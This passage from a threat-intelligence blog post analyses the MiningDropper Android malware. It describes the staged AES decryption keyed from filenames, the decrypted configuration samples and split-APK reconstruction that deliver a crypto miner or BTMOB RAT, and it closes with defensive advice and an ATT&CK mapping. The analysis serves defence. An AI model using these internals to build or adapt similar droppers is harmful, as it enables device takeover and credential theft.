In this case, the effective key material is based on jajmanpongids1. The decrypted output is a ZIP archive that contains the third-stage installer components.

Based on the observed code paths, the malware operates in two distinct modes: one linked to the “miner” component and the other to a “user payload.”

The behavior indicates that the second-stage payload initially activates the miner module, then transitions state—either upon completion or failure—and then executes the user-defined payload.

This distinction highlights that the campaign is built to support flexible, multi-purpose monetization rather than a fixed single-payload approach.

The second stage also decrypts one of two configuration files from assets: “norweyanlinkediting” for the miner path or “udela” for the user-defined path. Both use the same AES pattern, with the key derived from the first 16 bytes of the SHA-1 hash of the filename plus 1.

For the user-defined payload, the decrypted configuration contains:

{"isRemoteControl": true, "isTestKeyEnabled": false, "splits": ["transnaturationsaxhorn", "mischanterperilling", "unwieldlyostearthritis"], "subscriptionEndMillis": 1777220616438, "messageAuthenticationCode": "HaZRwGj6UZDpqKSf43o/Cg==", "simpleInstaller": "deprecated"}

For the miner payload, the configuration contains:

{"isRemoteControl": false, "isTestKeyEnabled": false, "splits": ["bilbopseudomelanosis"], "subscriptionEndMillis": 4611686018427387903, "messageAuthenticationCode": "eVAmHju3UqrVWR56gOMaUQ==", "simpleInstaller": "deprecated"}

The third-stage payload uses these configuration files to identify which encrypted asset files correspond to the remote control payload and which are associated with the miner component.

Third Stage Payload

The third-stage payload is extracted from the decrypted ZIP archive “jajmanpongids.zip”, which contains the DEX file “enchantmentcrosses” along with ARM native libraries. Similar to earlier stages, this payload leverages native code and XOR-based string obfuscation to evade analysis.

Functionally, it operates as a split-APK installer module that reconstructs and installs the final payload package using components defined in the configuration.

Final Payloads

For the user-defined path, the third stage processes the three split entries listed in the configuration: transnaturationsaxhorn, mischanterperilling, and unwieldlyostearthritis. These files are present in the APK assets and are encrypted using the same AES pattern used elsewhere in the chain.

After decryption, the components are merged to reconstruct the final malicious package. In this sample, this merged payload is attributed to BTMOB RAT.

BTMOB RAT can perform multiple malicious activities, including credential theft via WebView-based injections, keylogging, and data exfiltration. It abuses Android Accessibility Services to gain extensive control over the device, enabling actions such as unlocking the device, simulating user interactions, and granting additional permissions.

Furthermore, it supports real-time remote control via WebSocket-based C2 communication, enabling attackers to monitor the infected device's screen in real time, manage files, record audio, and execute commands.

For the miner path, the third stage decrypts the single asset bilbopseudomelanosis, again using filename-derived AES key material. In this branch, the output is a standalone APK that handles cryptocurrency mining.

Taken together, the final stage design reveals that MiningDropper is better understood as a multi-payload Android delivery framework than a simple miner dropper.

The same loader family can deliver radically different end payloads with only configuration and asset changes, which explains how the campaign can scale across a large number of samples while maintaining a consistent core architecture.

Conclusion

MiningDropper demonstrates a layered, modular Android malware architecture designed to make static analysis difficult while giving Threat Actors flexibility in final payload delivery.

The malware combines a native bootstrapper, memory-only string deobfuscation, filename-derived AES decryption, staged DEX loading, configuration-driven payload delivery, and split APK reconstruction to install either a cryptocurrency miner or a more capable user-defined payload such as BTMOB RAT.

This design allows the threat actor to reuse the same distribution and installation framework across hundreds of samples while adapting the final monetization objective to operational needs.

Our Recommendations

We have listed some essential cybersecurity best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms, such as the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Initial Access (TA0027)	Phishing (T1660)	MiningDropper is distributed via phishing sites
Execution (TA0041)	Native API (T1575)	Dropper used native code to decrypt payloads
Defense Evasion (TA0030)	Obfuscated Files or Information (T1406)	Dropper stores the encrypted payload in the assets
Defense Evasion (TA0030)	Virtualization/Sandbox Evasion (T1633)	Dropper implemented anti-emulation techniques
Discovery (TA0032)	System Information Discovery (T1426)	Dropper checks the device information to identify the running environment

Indicators of Compromise (IOCs)

The IOCs have been added to this GitHub repository. Please review and integrate them into your Threat Intelligence feed to enhance protection and improve your overall security posture.

The post MiningDropper – A Global Modular Android Malware Campaign Operating at Scale appeared first on Cyble.